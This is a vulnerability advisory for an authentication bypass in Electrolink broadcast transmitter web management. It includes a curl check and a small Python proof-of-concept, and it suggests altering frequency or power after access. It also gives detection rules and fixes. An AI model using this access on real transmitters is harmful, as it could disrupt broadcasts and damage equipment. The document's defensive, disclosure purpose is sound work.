CVE-2025-51040

Executive Summary

CVE-2025-51040 identifies a critical unauthorized access vulnerability in Electrolink FM/DAB/TV Transmitter Web Management System. The flaw exists in the /FrameSetCore.html endpoint, allowing an unauthenticated attacker to bypass authentication and gain administrative access to the web management interface. This affects Electrolink 500W, 1kW, and 2kW Medium DAB Transmitter Web versions v01.09, v01.08, v01.07, and Display versions v1.4, v1.2. No patch is currently available, and no public exploit code has been released. The vulnerability is classified under CWE-306 (Missing Authentication for Critical Function) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the lack of authentication controls makes this a high-severity risk for exposed systems.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: Critical (Based on CWE-306 and impact analysis)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability allows unauthenticated access to the web management system, enabling an attacker to fully compromise the transmitter's configuration, potentially disrupting broadcast services, altering transmitted content, or causing physical damage to the equipment.

Deep Dive & Mechanics

The /FrameSetCore.html endpoint is part of the Electrolink Transmitter Web Management System, designed to provide a frameset-based interface for monitoring and controlling broadcast parameters. The vulnerability stems from a missing authentication check on this endpoint. When accessed directly, the server does not verify the user's session or credentials, granting full access to the administrative interface.

The web application likely uses a session-based authentication mechanism for other pages, but the /FrameSetCore.html endpoint was inadvertently left unprotected. This allows an attacker to bypass the login page entirely. Once inside, the attacker can interact with all backend APIs and configuration pages that are loaded within the frameset, including those for power output, frequency tuning, and alarm settings.

The root cause is a classic CWE-306: Missing Authentication for Critical Function. The developer failed to apply the same access control checks to this specific endpoint as were applied to other administrative resources.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code pattern is expected to be:

Vulnerable (Conceptual):

# No authentication check before serving the frameset
@app.route('/FrameSetCore.html')
def frame_set_core():
    return render_template('frame_set_core.html')

Patched (Conceptual):

@app.route('/FrameSetCore.html')
@login_required  # Authentication decorator added
def frame_set_core():
    return render_template('frame_set_core.html')

The fix would involve adding an authentication middleware or decorator to the /FrameSetCore.html route, ensuring that only authenticated users can access the administrative interface.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a virtualized Electrolink DAB Transmitter using a firmware image of version v01.09 (if available) or simulate the web interface using a custom Flask application that mimics the vulnerability.
2. Ensure the web interface is accessible on the network (e.g., http://192.168.1.100:8080).

Exploitation Steps:

1. Reconnaissance: Scan for the /FrameSetCore.html endpoint using a tool like curl or a web browser.

   curl -v http://192.168.1.100:8080/FrameSetCore.html
   

2. Direct Access: If the endpoint returns the administrative interface without redirecting to a login page, the system is vulnerable.
3. Exploit: No authentication bypass is needed; simply access the URL.

   # Open in browser
   http://192.168.1.100:8080/FrameSetCore.html
   

4. Post-Exploitation: Once inside, navigate the frameset to access configuration pages. For example, change the transmitter frequency or power output to cause disruption.

Proof-of-Concept (PoC) Script:

import requests

target = "http://192.168.1.100:8080"
endpoint = "/FrameSetCore.html"

response = requests.get(target + endpoint)
if response.status_code == 200 and "FrameSet" in response.text:
    print("[+] Vulnerable! Unauthorized access to admin interface.")
else:
    print("[-] Not vulnerable or endpoint not found.")

Blue Team

Detection & Response:

1. Monitor Access Logs: Look for requests to /FrameSetCore.html from IP addresses that have not previously authenticated.
2. Network Segmentation: Ensure the transmitter management interface is isolated on a management VLAN and not exposed to the internet.
3. Honeypot: Deploy a fake /FrameSetCore.html endpoint that logs all access attempts and alerts on any interaction.
4. WAF Rule: Implement a Web Application Firewall rule to block direct access to /FrameSetCore.html unless the request includes a valid session cookie.

   location /FrameSetCore.html {
       if ($http_cookie !~* "session_token") {
           return 403;
       }
   }
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /FrameSetCore.html without prior authentication.
  • Unusual traffic to port 80/443 on Electrolink transmitter IPs.
• File IOCs:
  • Modified configuration files (e.g., transmitter.conf, power_settings.xml).
• Behavioral IOCs:
  • Unexpected changes in broadcast frequency or power output.
  • New user accounts created in the management system.
• Log IOCs:
  • Web server logs showing 200 OK responses for /FrameSetCore.html from unknown IPs.
  • Absence of login events preceding administrative actions.

Detection Engineering

YARA Rule

rule detect_electrolink_unauth_access {
    meta:
        description = "Detects unauthorized access attempts to Electrolink Transmitter Web Management System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-51040"
    strings:
        $endpoint = "/FrameSetCore.html"
        $admin_page = "FrameSet" nocase
    condition:
        $endpoint and $admin_page
}

Sigma Rule

title: Unauthorized Access to Electrolink Transmitter Management
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to /FrameSetCore.html without prior authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: '/FrameSetCore.html'
    condition: selection
falsepositives:
    - Legitimate administrative access from authorized IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51040 - Electrolink Unauthorized Access Attempt"; flow:to_server; content:"/FrameSetCore.html"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Management Interface: Place the transmitter web interface on a separate management VLAN with strict firewall rules. Do not expose it to the internet.
2. Implement Network Access Control: Use IP whitelisting to restrict access to the management interface to only authorized administrative workstations.
3. Deploy a Reverse Proxy: Place a reverse proxy (e.g., Nginx, Apache) in front of the transmitter that enforces authentication before forwarding requests to /FrameSetCore.html.

Long-Term Fix:

1. Vendor Patch: Contact Electrolink for an official firmware update that adds authentication to the /FrameSetCore.html endpoint.
2. Custom Code Fix: If source code is available, add an authentication check to the endpoint. For example, in a Python Flask application:

   from functools import wraps
   from flask import session, redirect, url_for
   
   def login_required(f):
       @wraps(f)
       def decorated_function(*args, **kwargs):
           if 'user_id' not in session:
               return redirect(url_for('login'))
           return f(*args, **kwargs)
       return decorated_function
   
   @app.route('/FrameSetCore.html')
   @login_required
   def frame_set_core():
       return render_template('frame_set_core.html')
   

3. Monitor for Updates: Regularly check Electrolink's support portal for security advisories and firmware updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert